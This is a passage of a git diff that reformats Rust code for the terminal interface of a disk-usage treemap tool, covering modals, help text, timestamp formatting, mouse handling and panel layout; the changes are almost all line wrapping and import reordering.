+ Style::new(Default::default(), shadow), + ); } if r.h >= 3 { - cv.fill(Rect { x: r.x, y: r.y + r.h - 1, w: r.w, h: 1 }, " ", Style::new(Default::default(), shadow)); + cv.fill( + Rect { + x: r.x, + y: r.y + r.h - 1, + w: r.w, + h: 1, + }, + " ", + Style::new(Default::default(), shadow), + ); } } let lw = if t.mono { r.w - 2 } else { r.w - 1 }; @@ -314,7 +423,13 @@ impl Model { if tw(&name) > lw && lw < 8 { return; // a stub like "te…" is noise, not information } - cv.text(lx, ly, &trunc(&name, lw), lw, Style::new(st.fg, bg).with(BOLD)); + cv.text( + lx, + ly, + &trunc(&name, lw), + lw, + Style::new(st.fg, bg).with(BOLD), + ); if !nb.inner && r.h >= 3 && lw >= 5 { let size = self.block_size(tr, nb.id); let mut label = textutil::size_compact(size); @@ -322,7 +437,13 @@ impl Model { if tw(&label) + tw(&pct) + 3 <= lw { label += &format!(" · {pct}"); } - cv.text(lx, ly + 1, &trunc(&label, lw), lw, Style::new(bg.mix(st.fg, 0.7), bg)); + cv.text( + lx, + ly + 1, + &trunc(&label, lw), + lw, + Style::new(bg.mix(st.fg, 0.7), bg), + ); } } } @@ -337,7 +458,11 @@ pub(crate) fn map_paint(m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) { } else if m.scanning { "Scanning…".to_string() } else if !z.is_dir() { - format!("{} — {}", san(&z.name), textutil::size(m.size_of(tr, m.zoom))) + format!( + "{} — {}", + san(&z.name), + textutil::size(m.size_of(tr, m.zoom)) + ) } else { "Empty directory".to_string() }; @@ -354,7 +479,10 @@ pub(crate) fn map_paint(m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) { m.paint_nested(tr, cv, nb); } for b in &l.blocks { - m.hits.push(Hit { r: b.rect, act: HitAct::Block(b.id) }); + m.hits.push(Hit { + r: b.rect, + act: HitAct::Block(b.id), + }); } } diff --git a/src/tui/mod.rs b/src/tui/mod.rs index f923945..a4558f5 100644 --- a/src/tui/mod.rs +++ b/src/tui/mod.rs @@ -55,7 +55,6 @@ pub(crate) fn san(b: &[u8]) -> String { textutil::sanitize_bytes(b) } - fn local_tm(unix_nanos: i64) -> libc::tm { let secs = unix_nanos.div_euclid(1_000_000_000) as libc::time_t; let mut tm: libc::tm = unsafe { std::mem::zeroed() }; @@ -66,18 +65,40 @@ fn local_tm(unix_nanos: i64) -> libc::tm { /// Formats a timestamp as a local date ("2006-01-02"). pub(crate) fn fmt_date(unix_nanos: i64) -> String { let t = local_tm(unix_nanos); - format!("{:04}-{:02}-{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday) + format!( + "{:04}-{:02}-{:02}", + t.tm_year + 1900, + t.tm_mon + 1, + t.tm_mday + ) } /// Formats a timestamp as local date and time ("2006-01-02 15:04:05"). pub(crate) fn fmt_time(unix_nanos: i64) -> String { let t = local_tm(unix_nanos); - format!("{:04}-{:02}-{:02} {:02}:{:02}:{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec) + format!( + "{:04}-{:02}-{:02} {:02}:{:02}:{:02}", + t.tm_year + 1900, + t.tm_mon + 1, + t.tm_mday, + t.tm_hour, + t.tm_min, + t.tm_sec + ) } /// The current local time as "20060102-1504". pub(crate) fn fmt_stamp_now() -> String { - let now = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default(); + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default(); let t = local_tm(now.as_nanos() as i64); - format!("{:04}{:02}{:02}-{:02}{:02}", t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, t.tm_hour, t.tm_min) + format!( + "{:04}{:02}{:02}-{:02}{:02}", + t.tm_year + 1900, + t.tm_mon + 1, + t.tm_mday, + t.tm_hour, + t.tm_min + ) } diff --git a/src/tui/modal.rs b/src/tui/modal.rs index e10ec70..c9fc181 100644 --- a/src/tui/modal.rs +++ b/src/tui/modal.rs @@ -17,15 +17,30 @@ pub(crate) struct Span { pub(crate) type Line = Vec; pub(crate) fn txt(s: impl Into) -> Line { - vec![Span { s: s.into(), st: None }] + vec![Span { + s: s.into(), + st: None, + }] } pub(crate) fn styled(s: impl Into, st: Style) -> Line { - vec![Span { s: s.into(), st: Some(st) }] + vec![Span { + s: s.into(), + st: Some(st), + }] } pub(crate) fn kv(k: &str, v: impl Into, kst: Style, vst: Style) -> Line { - vec![Span { s: pad_right(k, 18), st: Some(kst) }, Span { s: v.into(), st: Some(vst) }] + vec![ + Span { + s: pad_right(k, 18), + st: Some(kst), + }, + Span { + s: v.into(), + st: Some(vst), + }, + ] } /// An overlay. Modals receive all keys while open; Esc always closes them @@ -61,7 +76,12 @@ impl ModalFrame { impl Model { pub fn open_modal(&mut self, md: Box) { - self.modals.push(ModalFrame { md, scroll: 0, view_h: 0, content_n: 0 }); + self.modals.push(ModalFrame { + md, + scroll: 0, + view_h: 0, + content_n: 0, + }); self.dirty = true; } @@ -119,16 +139,24 @@ impl Model { pub fn paint_modal(&mut self, tr: &Tree, cv: &mut Canvas) { let t = self.theme.clone(); // Dim everything underneath. - cv.restyle(Rect { x: 0, y: 0, w: cv.w, h: cv.h }, |mut s| { - if t.mono { - s.attr |= FAINT; - return s; - } - s.fg = s.fg.mix(t.bg, 0.6); - s.bg = s.bg.mix(rgb(0, 0, 0), 0.45); - s.attr &= !BOLD; - s - }); + cv.restyle( + Rect { + x: 0, + y: 0, + w: cv.w, + h: cv.h, + }, + |mut s| { + if t.mono { + s.attr |= FAINT; + return s; + } + s.fg = s.fg.mix(t.bg, 0.6); + s.bg = s.bg.mix(rgb(0, 0, 0), 0.45); + s.attr &= !BOLD; + s + }, + ); let mut f = self.modals.pop().unwrap(); let max_w = cv.w - 2; let w = (f.md.width() + 4).min(max_w).max(30.min(max_w)); @@ -139,10 +167,16 @@ impl Model { if !foot.is_empty() { chrome += 2; } - let h = (lines.len() as i32 + chrome).min(cv.h - 2).max((chrome + 1).min(cv.h)); + let h = (lines.len() as i32 + chrome) + .min(cv.h - 2) + .max((chrome + 1).min(cv.h)); let (x0, y0) = ((cv.w - w) / 2, (cv.h - h) / 2); let r = Rect { x: x0, y: y0, w, h }; - let bg = if t.panel_bg.is_default() { t.bg } else { t.panel_bg }; + let bg = if t.panel_bg.is_default() { + t.bg + } else { + t.panel_bg + }; let base = Style::new(t.fg, bg); // Drop shadow. if !t.mono { @@ -150,13 +184,35 @@ impl Model { s.bg = rgb(0, 0, 0); s }; - cv.restyle(Rect { x: x0 + 1, y: y0 + h, w, h: 1 }, black); - cv.restyle(Rect { x: x0 + w, y: y0 + 1, w: 1, h }, black); + cv.restyle( + Rect { + x: x0 + 1, + y: y0 + h, + w, + h: 1, + }, + black, + ); + cv.restyle( + Rect { + x: x0 + w, + y: y0 + 1, + w: 1, + h, + }, + black, + ); } cv.fill(r, " ", base); let border = Style::new(t.accent, bg).with(BOLD); cv.draw_box(r, if t.ascii { BOX_ASCII } else { BOX_ROUND }, border); - cv.text(x0 + 2, y0 + 1, &f.md.title().to_uppercase(), inner, Style::new(t.accent, bg).with(BOLD)); + cv.text( + x0 + 2, + y0 + 1, + &f.md.title().to_uppercase(), + inner, + Style::new(t.accent, bg).with(BOLD), + ); let rule = if t.ascii { "-" } else { "─" }; cv.hline(x0 + 1, y0 + 2, w - 2, rule, Style::new(t.faint, bg)); f.view_h = h - chrome; @@ -201,7 +257,10 @@ impl Model { } self.modals.push(f); self.hits.clear(); - self.hits.push(Hit { r, act: HitAct::None }); + self.hits.push(Hit { + r, + act: HitAct::None, + }); } } diff --git a/src/tui/modals.rs b/src/tui/modals.rs index 48de42b..de013ce 100644 --- a/src/tui/modals.rs +++ b/src/tui/modals.rs @@ -10,7 +10,10 @@ use super::search::LineEditor; use super::{fmt_time, pad_left, pad_right, san, trunc, tw}; use crate::export; use crate::filter; -use crate::inventory::{NodeId, Tree, FLAG_ALLOC_UNKNOWN, FLAG_HARDLINK_DUP, FLAG_INCOMPLETE, FLAG_LOOP, FLAG_SCANNED, FLAG_SKIPPED_FS, FLAG_SPARSE, FLAG_VIRTUAL_FS, NO_NODE}; +use crate::inventory::{ + NodeId, Tree, FLAG_ALLOC_UNKNOWN, FLAG_HARDLINK_DUP, FLAG_INCOMPLETE, FLAG_LOOP, FLAG_SCANNED, + FLAG_SKIPPED_FS, FLAG_SPARSE, FLAG_VIRTUAL_FS, NO_NODE, +}; use crate::platform; use crate::textutil; @@ -42,7 +45,10 @@ impl Modal for InfoModal { } fn footer(&self, m: &Model) -> String { - let mut s = format!("Esc close · c copy path · o {} · Space go to", reveal_verb()); + let mut s = format!( + "Esc close · c copy path · o {} · Space go to", + reveal_verb() + ); if !m.opts.read_only && !m.snapshot { s += &format!(" · d {}", delete_verb()); } @@ -71,25 +77,67 @@ impl Modal for InfoModal { out.push(styled(l, vs)); } if san(&n.name).as_bytes() != &*n.name { - out.push(styled("Name contains control or invalid characters (shown escaped)", warn)); + out.push(styled( + "Name contains control or invalid characters (shown escaped)", + warn, + )); } out.push(txt("")); let mode = m.size_mode; if n.is_dir() { - add_s(&mut out, "Total logical", format!("{} ({} bytes)", textutil::size(n.tot_size), textutil::count(n.tot_size)), bold); - add_s(&mut out, "Total allocated", format!("{} ({} bytes)", textutil::size(n.tot_alloc), textutil::count(n.tot_alloc)), bold); + add_s( + &mut out, + "Total logical", + format!( + "{} ({} bytes)", + textutil::size(n.tot_size), + textutil::count(n.tot_size) + ), + bold, + ); + add_s( + &mut out, + "Total allocated", + format!( + "{} ({} bytes)", + textutil::size(n.tot_alloc), + textutil::count(n.tot_alloc) + ), + bold, + ); add(&mut out, "Files", textutil::count(n.files as i64)); add(&mut out, "Directories", textutil::count(n.dirs as i64)); if n.parent != NO_NODE { - add(&mut out, "Of parent", textutil::percent(n.total(mode), tr.node(n.parent).total(mode))); + add( + &mut out, + "Of parent", + textutil::percent(n.total(mode), tr.node(n.parent).total(mode)), + ); } - add(&mut out, "Of scan", textutil::percent(n.total(mode), tr.node(0).total(mode))); + add( + &mut out, + "Of scan", + textutil::percent(n.total(mode), tr.node(0).total(mode)), + ); let k = m.kids_of(tr, self.id); if let Some(&first) = k.ids.first() { - add(&mut out, "Largest child", format!("{} ({})", san(&tr.node(first).name), textutil::size(k.sizes[0]))); + add( + &mut out, + "Largest child", + format!( + "{} ({})", + san(&tr.node(first).name), + textutil::size(k.sizes[0]) + ), + ); } if n.errors > 0 { - add_s(&mut out, "Errors beneath", textutil::count(n.errors as i64), Style::new(t.err, Default::default()).with(BOLD)); + add_s( + &mut out, + "Errors beneath", + textutil::count(n.errors as i64), + Style::new(t.err, Default::default()).with(BOLD), + ); } let state = if n.has(FLAG_INCOMPLETE) { "incomplete (not fully read)" @@ -102,15 +150,32 @@ impl Modal for InfoModal { }; add(&mut out, "Scan state", state.into()); } else { - add_s(&mut out, "Logical size", format!("{} ({} bytes)", textutil::size(n.size), textutil::count(n.size)), bold); + add_s( + &mut out, + "Logical size", + format!( + "{} ({} bytes)", + textutil::size(n.size), + textutil::count(n.size) + ), + bold, + ); let alloc = if n.has(FLAG_ALLOC_UNKNOWN) { "unknown on this platform".to_string() } else { - format!("{} ({} bytes)", textutil::size(n.alloc), textutil::count(n.alloc)) + format!( + "{} ({} bytes)", + textutil::size(n.alloc), + textutil::count(n.alloc) + ) }; add_s(&mut out, "Allocated size", alloc, bold); if n.parent != NO_NODE { - add(&mut out, "Of parent", textutil::percent(n.own(mode), tr.node(n.parent).total(mode))); + add( + &mut out, + "Of parent", + textutil::percent(n.own(mode), tr.node(n.parent).total(mode)), + ); } } if let Some(r) = &m.search.result { @@ -120,9 +185,19 @@ impl Modal for InfoModal { match d.old_size(self.id, mode) { Some(old) => { add(&mut out, "In old snapshot", textutil::size(old)); - add_s(&mut out, "Change", textutil::signed_size(n.total(mode) - old), bold); + add_s( + &mut out, + "Change", + textutil::signed_size(n.total(mode) - old), + bold, + ); } - None => add_s(&mut out, "Change", "new since old snapshot".into(), Style::new(t.diff_new, Default::default()).with(BOLD)), + None => add_s( + &mut out, + "Change", + "new since old snapshot".into(), + Style::new(t.diff_new, Default::default()).with(BOLD), + ), } } out.push(txt("")); @@ -143,12 +218,23 @@ impl Modal for InfoModal { } out.push(txt("")); add(&mut out, "Mode", platform::mode::string(n.mode)); - add(&mut out, "Owner", textutil::sanitize(&platform::user_name(n.uid))); - add(&mut out, "Group", textutil::sanitize(&platform::group_name(n.gid))); + add( + &mut out, + "Owner", + textutil::sanitize(&platform::user_name(n.uid)), + ); + add( + &mut out, + "Group", + textutil::sanitize(&platform::group_name(n.gid)), + ); if !n.is_dir() { add(&mut out, "Hard links", n.nlink.to_string()); let sparse = if n.has(FLAG_SPARSE) { - format!("Yes (or compressed) — {} not allocated", textutil::size(n.size - n.alloc)) + format!( + "Yes (or compressed) — {} not allocated", + textutil::size(n.size - n.alloc) + ) } else { "No".into() }; @@ -159,11 +245,17 @@ impl Modal for InfoModal { add_s(&mut out, "Flags", fl.join(", "), warn); } if n.has(FLAG_HARDLINK_DUP) { - out.push(styled("Another path to this inode was counted; this one adds nothing to totals.", ks)); + out.push(styled( + "Another path to this inode was counted; this one adds nothing to totals.", + ks, + )); } if m.snapshot { out.push(txt("")); - out.push(styled("From snapshot — metadata as recorded, not live.", ks)); + out.push(styled( + "From snapshot — metadata as recorded, not live.", + ks, + )); } out } @@ -216,13 +308,22 @@ impl Modal for GroupModal { let t = m.theme.clone(); let ids = self.g.ids(); let mut out = vec![ - txt(format!("{} items too small to draw individually at this size,", textutil::count(ids.len() as i64))), - txt(format!("totalling {}. Zoom in or enlarge the terminal to see them.", textutil::size(self.g.size))), + txt(format!( + "{} items too small to draw individually at this size,", + textutil::count(ids.len() as i64) + )), + txt(format!( + "totalling {}. Zoom in or enlarge the terminal to see them.", + textutil::size(self.g.size) + )), txt(""), ]; for (i, &id) in ids.iter().enumerate() { if i == 200 { - out.push(styled(format!("… and {} more", textutil::count(ids.len() as i64 - 200)), Style::new(t.muted, Default::default()))); + out.push(styled( + format!("… and {} more", textutil::count(ids.len() as i64 - 200)), + Style::new(t.muted, Default::default()), + )); break; } let n = tr.node(id); @@ -231,8 +332,17 @@ impl Modal for GroupModal { name.push('/'); } out.push(vec![ - Span { s: pad_left(&textutil::size(m.size_of(tr, id)), 11) + " ", st: Some(Style::new(t.muted, Default::default())) }, - Span { s: trunc(&name, w - 13), st: Some(Style::new(m.color_of(tr, id as i64).mix(t.fg, 0.4), Default::default())) }, + Span { + s: pad_left(&textutil::size(m.size_of(tr, id)), 11) + " ", + st: Some(Style::new(t.muted, Default::default())), + }, + Span { + s: trunc(&name, w - 13), + st: Some(Style::new( + m.color_of(tr, id as i64).mix(t.fg, 0.4), + Default::default(), + )), + }, ]); } out @@ -281,10 +391,23 @@ impl Modal for HelpModal { out.push(styled(s, h)); }; let row = |out: &mut Vec, keys: &str, desc: &str| { - out.push(vec![Span { s: format!(" {}", pad_right(keys, 19)), st: Some(k) }, Span { s: desc.into(), st: Some(d) }]); + out.push(vec![ + Span { + s: format!(" {}", pad_right(keys, 19)), + st: Some(k), + }, + Span { + s: desc.into(), + st: Some(d), + }, + ]); }; sec(&mut out, "NAVIGATION"); - row(&mut out, "↑ ↓ ← → hjkl", "move spatially through the treemap"); + row( + &mut out, + "↑ ↓ ← → hjkl", + "move spatially through the treemap", + ); row(&mut out, "Enter", "inspect the selected item"); row(&mut out, "Space →", "zoom into the selected directory"); row(&mut out, "Backspace ←", "zoom out one level"); @@ -292,20 +415,43 @@ impl Modal for HelpModal { row(&mut out, "click / dbl-click", "select / zoom (mouse)"); row(&mut out, "wheel", "zoom in/out (map), scroll (lists)"); sec(&mut out, "SEARCH & FILTER"); - row(&mut out, "/", "search or filter; the map shows only matches"); + row( + &mut out, + "/", + "search or filter; the map shows only matches", + ); row(&mut out, "Esc", "clear the filter"); - out.push(styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", muted)); - out.push(styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", muted)); + out.push(styled( + " ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", + muted, + )); + out.push(styled( + " path contains cache AND NOT type = dir owner = andy flag = sparse", + muted, + )); let fields: Vec<&str> = filter::FIELDS.split_whitespace().collect(); let split = 7.min(fields.len()); - out.push(styled(format!(" fields: {}", fields[..split].join(" ")), muted)); - out.push(styled(format!(" {}", fields[split..].join(" ")), muted)); - out.push(styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", muted)); + out.push(styled( + format!(" fields: {}", fields[..split].join(" ")), + muted, + )); + out.push(styled( + format!(" {}", fields[split..].join(" ")), + muted, + )); + out.push(styled( + " sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", + muted, + )); sec(&mut out, "VIEWS"); row(&mut out, "Tab Shift+Tab", "next / previous view"); row(&mut out, "1 – 7", "jump to a view"); row(&mut out, "x", "file types (extension statistics)"); - row(&mut out, "g", "top lists: largest, oldest, sparse, hard links …"); + row( + &mut out, + "g", + "top lists: largest, oldest, sparse, hard links …", + ); row(&mut out, "e", "scan information and errors"); row(&mut out, "D", "find duplicate files (reads file contents)"); sec(&mut out, "APPLICATION"); @@ -321,8 +467,15 @@ impl Modal for HelpModal { row(&mut out, "Ctrl+C", "cancel scan; press again to quit"); row(&mut out, "q", "quit"); out.push(txt("")); - let units = if crate::textutil::si() { "SI (kB = 1000 bytes)" } else { "IEC (KiB = 1024 bytes)" }; - out.push(styled(format!("Sizes: {} · units: {units}", m.size_mode.name()), muted)); + let units = if crate::textutil::si() { + "SI (kB = 1000 bytes)" + } else { + "IEC (KiB = 1024 bytes)" + }; + out.push(styled( + format!("Sizes: {} · units: {units}", m.size_mode.name()), + muted, + )); out } @@ -371,7 +524,9 @@ struct SaveModal { } pub(crate) fn new_save_modal(tr: &Tree) -> Box { - let mut md = SaveModal { ed: LineEditor::default() }; + let mut md = SaveModal { + ed: LineEditor::default(), + }; md.ed.set(&default_snapshot_name(&tr.stats.root)); Box::new(md) } @@ -399,7 +554,10 @@ impl Modal for SaveModal { } if m.scanning { out.push(txt("")); - out.push(styled("The scan is still running: the snapshot will be marked incomplete.", Style::new(t.warn, Default::default()))); + out.push(styled( + "The scan is still running: the snapshot will be marked incomplete.", + Style::new(t.warn, Default::default()), + )); } out } diff --git a/src/tui/model.rs b/src/tui/model.rs index b5bbd08..b1f1873 100644 --- a/src/tui/model.rs +++ b/src/tui/model.rs @@ -32,7 +32,8 @@ use std::time::{Duration, Instant}; /// Begins a scan (or returns a loaded tree with no scanner). Called again /// on rescan. -pub type StartFn = Arc Result<(Option, Arc>), crate::Error> + Send + Sync>; +pub type StartFn = + Arc Result<(Option, Arc>), crate::Error> + Send + Sync>; /// Configures the interactive session. pub struct Options { @@ -75,7 +76,11 @@ impl Key { _ if s.chars().count() == 1 => s.to_string(), _ => String::new(), }; - Key { name: s.to_string(), text, ctrl_alt: s.starts_with("ctrl+") || s.starts_with("alt+") } + Key { + name: s.to_string(), + text, + ctrl_alt: s.starts_with("ctrl+") || s.starts_with("alt+"), + } } } @@ -91,15 +96,40 @@ pub(crate) enum Msg { Size(i32, i32), Tick, ScanDone(Arc>), // identifies the scan by its tree - Filter { gen: u64, res: Option }, + Filter { + gen: u64, + res: Option, + }, FilterDebounce(u64), - DupDone { finder: Arc, groups: Option> }, - TrashDone { tree: Arc>, id: NodeId, err: Option, done: String }, - SaveDone { path: String, err: Option }, + DupDone { + finder: Arc, + groups: Option>, + }, + TrashDone { + tree: Arc>, + id: NodeId, + err: Option, + done: String, + }, + SaveDone { + path: String, + err: Option, + }, Key(Key), - Click { x: i32, y: i32, button: Button }, - Wheel { x: i32, y: i32, up: bool }, - Motion { x: i32, y: i32 }, + Click { + x: i32, + y: i32, + button: Button, + }, + Wheel { + x: i32, + y: i32, + up: bool, + }, + Motion { + x: i32, + y: i32, + }, Quit, // SIGTERM } @@ -239,8 +269,13 @@ impl Model { { theme.ascii = true; } - let mut views = vec![View::Map, View::List(Default::default()), View::Ext(Default::default()), - View::Top(Default::default()), View::Info(Default::default())]; + let mut views = vec![ + View::Map, + View::List(Default::default()), + View::Ext(Default::default()), + View::Top(Default::default()), + View::Info(Default::default()), + ]; if opts.diff.is_some() { views.push(View::Changes(Default::default())); } @@ -298,7 +333,9 @@ impl Model { } fn wait_scan(&self) -> Cmd { - let Some(s) = &self.scanner else { return Cmd::None }; + let Some(s) = &self.scanner else { + return Cmd::None; + }; let (rx, tree) = (s.done().clone(), s.tree.clone()); Cmd::run(move || { let _ = rx.recv(); @@ -307,7 +344,11 @@ impl Model { } pub fn refresh_interval(&self) -> Duration { - let hz = if self.opts.settings.refresh_hz <= 0 { 10 } else { self.opts.settings.refresh_hz }; + let hz = if self.opts.settings.refresh_hz <= 0 { + 10 + } else { + self.opts.settings.refresh_hz + }; Duration::from_secs(1) / hz as u32 } @@ -321,7 +362,9 @@ impl Model { } fn needs_ticks(&self) -> bool { - self.scanning || Instant::now() < self.toast_until || self.dups.as_ref().is_some_and(|d| d.running) + self.scanning + || Instant::now() < self.toast_until + || self.dups.as_ref().is_some_and(|d| d.running) } /// Shows a transient status message. @@ -366,7 +409,10 @@ impl Model { self.ticking = false; if self.scanning { self.dirty = true; - if self.last_data.is_none_or(|t| t.elapsed() >= Duration::from_millis(400)) { + if self + .last_data + .is_none_or(|t| t.elapsed() >= Duration::from_millis(400)) + { self.invalidate(); self.last_data = Some(Instant::now()); } @@ -379,7 +425,10 @@ impl Model { let mut cmds = Vec::new(); if self.scanning && self.search.query.is_some() - && self.search.applied_at.is_none_or(|t| t.elapsed() > Duration::from_secs(1)) + && self + .search + .applied_at + .is_none_or(|t| t.elapsed() > Duration::from_secs(1)) { cmds.push(self.apply_filter()); } @@ -405,7 +454,12 @@ impl Model { Cmd::None } Msg::DupDone { finder, groups } => self.dup_done(finder, groups), - Msg::TrashDone { tree, id, err, done } => self.trash_done(tree, id, err, done), + Msg::TrashDone { + tree, + id, + err, + done, + } => self.trash_done(tree, id, err, done), Msg::SaveDone { path, err } => match err { Some(e) => self.warn(format!("Snapshot save failed: {}", textutil::sanitize(&e))), None => self.info(format!("Saved snapshot {}", textutil::sanitize(&path))), @@ -454,13 +508,24 @@ impl Model { let (total, files, dirs, errs, el, cancelled) = { let t = self.tree.read().unwrap(); let st = &t.stats; - (t.node(0).total(self.size_mode), st.files + st.symlinks + st.others, st.dirs, st.total_errors(), st.elapsed(), st.cancelled) + ( + t.node(0).total(self.size_mode), + st.files + st.symlinks + st.others, + st.dirs, + st.total_errors(), + st.elapsed(), + st.cancelled, + ) }; let mut cmds = Vec::new(); let rate = (files + dirs) as f64 / el.as_secs_f64().max(0.001); let mut msg = format!( "✓ Scan complete {} · {} files · {} dirs · {} · {}/s", - textutil::duration(el), textutil::count(files), textutil::count(dirs), textutil::size(total), textutil::count(rate as i64) + textutil::duration(el), + textutil::count(files), + textutil::count(dirs), + textutil::size(total), + textutil::count(rate as i64) ); if cancelled { msg = "✗ Scan cancelled — totals are incomplete".into(); @@ -507,7 +572,10 @@ impl Model { Ok(v) => v, Err(e) => { cancel.cancel(); - return self.warn(format!("Rescan failed: {}", textutil::sanitize(&e.to_string()))); + return self.warn(format!( + "Rescan failed: {}", + textutil::sanitize(&e.to_string()) + )); } }; self.scanning = s.is_some(); @@ -536,13 +604,18 @@ impl Model { /// Re-zooms into the remembered directory once the new scan has /// discovered it. Takes the read lock itself. pub fn resolve_pending_zoom(&mut self) { - let Some(pz) = self.pending_zoom.clone() else { return }; + let Some(pz) = self.pending_zoom.clone() else { + return; + }; let arc = self.tree.clone(); let t = arc.read().unwrap(); let root = t.path_bytes(0); let rel: &[u8] = if pz == root { b"" - } else if let Some(r) = pz.strip_prefix(root.as_slice()).filter(|r| root.ends_with(b"/") || r.starts_with(b"/")) { + } else if let Some(r) = pz + .strip_prefix(root.as_slice()) + .filter(|r| root.ends_with(b"/") || r.starts_with(b"/")) + { r } else { self.pending_zoom = None; diff --git a/src/tui/mouse.rs b/src/tui/mouse.rs index 9e32352..4011752 100644 --- a/src/tui/mouse.rs +++ b/src/tui/mouse.rs @@ -32,7 +32,8 @@ impl Model { for i in (0..self.hits.len()).rev() { if self.hits[i].r.contains(x, y) { let key = (y as i64) << 32 | i as i64; - let double = self.last_click.is_some_and(|t| t.elapsed() < DOUBLE_CLICK) && self.last_click_i == key; + let double = self.last_click.is_some_and(|t| t.elapsed() < DOUBLE_CLICK) + && self.last_click_i == key; (self.last_click, self.last_click_i) = (Some(Instant::now()), key); if double { self.last_click_i = NO_SEL; diff --git a/src/tui/render.rs b/src/tui/render.rs index d6bc3d5..73a7e13 100644 --- a/src/tui/render.rs +++ b/src/tui/render.rs @@ -1,9 +1,9 @@ //! Frame composition: panel geometry, tabs, breadcrumbs, info and status //! lines. -use super::canvas::{Canvas, Color, Depth, Style, Attr, BOLD, REVERSE, UNDERLINE}; +use super::canvas::{Attr, Canvas, Color, Depth, Style, BOLD, REVERSE, UNDERLINE}; use super::model::{is_group, Hit, HitAct, Model, Profile}; -use super::{fmt_date, san, tw, trunc_left}; +use super::{fmt_date, san, trunc_left, tw}; use crate::brand; use crate::inventory::{Kind, Node, Tree, FLAG_SCANNED, NO_NODE}; use crate::textutil; @@ -46,21 +46,46 @@ pub(crate) fn compute_geometry(w: i32, h: i32) -> (SizeClass, Geometry) { }; let mut y = 0; if class >= SizeClass::Medium { - g.tabs = Rect { x: 0, y: 0, w, h: 1 }; + g.tabs = Rect { + x: 0, + y: 0, + w, + h: 1, + }; y = 1; } g.crumbs = Rect { x: 0, y, w, h: 1 }; y += 1; let mut bottom = h - 1; - g.stat = Rect { x: 0, y: h - 1, w, h: 1 }; + g.stat = Rect { + x: 0, + y: h - 1, + w, + h: 1, + }; if class >= SizeClass::Medium { - g.info = Rect { x: 0, y: h - 2, w, h: 1 }; + g.info = Rect { + x: 0, + y: h - 2, + w, + h: 1, + }; bottom = h - 2; } - g.main = Rect { x: 0, y, w, h: bottom - y }; + g.main = Rect { + x: 0, + y, + w, + h: bottom - y, + }; if class == SizeClass::Large { let sw = 40.min(w / 5); - g.side = Rect { x: 0, y, w: sw, h: g.main.h }; + g.side = Rect { + x: 0, + y, + w: sw, + h: g.main.h, + }; (g.main.x, g.main.w) = (sw, w - sw); } (class, g) @@ -114,7 +139,11 @@ impl Model { fn render_too_small(&self, cv: &mut Canvas) { let st = self.theme.muted(); - let lines = ["Terminal too small".to_string(), format!("{}×{} — need {}×{}", self.w, self.h, MIN_W, MIN_H), "q quits".to_string()]; + let lines = [ + "Terminal too small".to_string(), + format!("{}×{} — need {}×{}", self.w, self.h, MIN_W, MIN_H), + "q quits".to_string(), + ]; let y0 = 0.max((self.h - lines.len() as i32) / 2); for (i, l) in lines.iter().enumerate() { cv.text_centered(0, y0 + i as i32, self.w, l, st); @@ -133,8 +162,18 @@ impl Model { fn paint_tabs(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) { let t = self.theme.clone(); cv.fill(r, " ", t.header()); - let badge = if t.ascii { format!(" {} ", brand::NAME) } else { format!(" ◧ {} ", brand::NAME) }; - let mut x = cv.text(r.x, r.y, &badge, r.w, Style::new(t.text_on(t.accent), t.accent).with(BOLD | self.mono_rev())); + let badge = if t.ascii { + format!(" {} ", brand::NAME) + } else { + format!(" ◧ {} ", brand::NAME) + }; + let mut x = cv.text( + r.x, + r.y, + &badge, + r.w, + Style::new(t.text_on(t.accent), t.accent).with(BOLD | self.mono_rev()), + ); x += 1; let names: Vec<&'static str> = self.views.iter().map(|v| v.name()).collect(); for (i, name) in names.iter().enumerate() { @@ -148,7 +187,10 @@ impl Model { break; } let w = cv.text(x, r.y, &label, r.w - x, st); - self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::SetView(i) }); + self.hits.push(Hit { + r: Rect { x, y: r.y, w, h: 1 }, + act: HitAct::SetView(i), + }); x += w; } // Right-aligned chips. @@ -177,7 +219,13 @@ impl Model { break; } rx -= w; - cv.text(rx, r.y, &s, w, Style::new(t.text_on(*bg), *bg).with(BOLD | self.mono_rev())); + cv.text( + rx, + r.y, + &s, + w, + Style::new(t.text_on(*bg), *bg).with(BOLD | self.mono_rev()), + ); rx -= 1; } } @@ -206,10 +254,20 @@ impl Model { right = format!(" {} ", textutil::size_compact(size)); rw = tw(&right); } - cv.text_right(r.x, r.y, r.w, &right, Style::new(t.header_fg, t.header_bg).with(BOLD)); + cv.text_right( + r.x, + r.y, + r.w, + &right, + Style::new(t.header_fg, t.header_bg).with(BOLD), + ); let sep = if t.ascii { " > " } else { " › " }; - let segs: Vec<(u32, String)> = tr.ancestors(self.zoom).into_iter().map(|id| (id, san(&tr.node(id).name))).collect(); + let segs: Vec<(u32, String)> = tr + .ancestors(self.zoom) + .into_iter() + .map(|id| (id, san(&tr.node(id).name))) + .collect(); let avail = r.w - rw - 2; // Drop leading segments until the rest fits; keep at least the last. let total = |from: usize| { @@ -231,17 +289,40 @@ impl Model { } let mut x = r.x + 1; if from > 0 { - x += cv.text(x, r.y, &format!("…{sep}"), avail, Style::new(t.muted, t.header_bg)); + x += cv.text( + x, + r.y, + &format!("…{sep}"), + avail, + Style::new(t.muted, t.header_bg), + ); } for i in from..segs.len() { if i > from { - x += cv.text(x, r.y, sep, r.x + 1 + avail - x, Style::new(t.faint, t.header_bg)); + x += cv.text( + x, + r.y, + sep, + r.x + 1 + avail - x, + Style::new(t.faint, t.header_bg), + ); } let last = i == segs.len() - 1; - let st = if last { Style::new(t.fg, t.header_bg).with(BOLD) } else { Style::new(t.muted, t.header_bg) }; - let s = if last { 